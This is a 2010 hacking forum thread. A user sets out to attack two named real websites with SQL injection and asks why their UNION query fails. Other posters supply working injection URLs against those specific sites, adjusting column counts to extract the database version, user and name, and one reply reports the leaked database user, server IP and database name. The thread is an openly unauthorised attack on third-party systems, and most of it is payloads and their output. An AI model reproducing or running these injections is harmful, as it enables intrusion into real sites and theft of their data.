Thread: [Error : The used SELECT statements have a different number of columns](#)

XxZzUniqueModZzxX - December 30, 2010, 5:01 pm

does any have clue? i decided to attack website usin sql injection and i got this error i also tried with other but still the same , im sure everythin i did is correct but this error comes and it confuse the shit outta me heres the vuln website

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=4>

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=44>

and oh yh merry christmas and happy new year

i googled but found useless info same with search butt here

Viral Dragon - December 30, 2010, 5:10 pm

Thats because the website is using a version 4 type.

Version: 4.0.27-max-log

User: dbo197803277@212.227.114.136

DB: db197803277

-Viral.

-Viral. is it ? so it doesnt support union right

Viral Dragon - December 30, 2010, 5:13 pm

Rolla,

No it does support union. All you had to do was a "-" sign in front the "4"
(e.g.: index.php?id=-4 union select 1,2,3,4,5,6,7,8--)

-Viral.

quash - December 30, 2010, 5:14 pm

Version 5 on this site...

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=-44+union+all+select+1,2,3,4,5,6,7,@@version,9,10,11-->

Volim te - December 30, 2010, 5:14 pm

The 1st site has 7 columns i think

Code <http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,@@version,5,6,7--that was freakin' eazy stop C&P'ing and LEARN SQL injection! matey>

Hacking,

Sure you tried? ::

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2,3,@@version,5,6,7-->

Or did you put one too many columns because you tried 8
like my e.g. ?

-Viral.

-Viral.yes i tried 8.. thant it works with 7 columns.... and why ?

Viral Dragon - December 30, 2010, 5:51 pm

Hacking,

So when you click the link you don't see the version being displayed?

-Viral.

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2,3,@@version,5,6,7-->

4.0.27-max-log

sorry i understand now... i'm disturbed when i searched the number of columns.

Viral Dragon - December 30, 2010, 5:55 pm

Then your not having a problem.

If you see the version that means the "-" is working for you.

You just have to put it front the 4 before the = sign.

-Viral.

-Viral.yes sorry, i'm only disturbed when i searched the number of columns.

Volim te - December 30, 2010, 5:58 pm

Too get more info on the version/database try this

Code [http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,CONCAT_WS\(CHAR\(32,58,32\),user\(\),database\(\),version\(\)\),5,6,7--](http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7--)
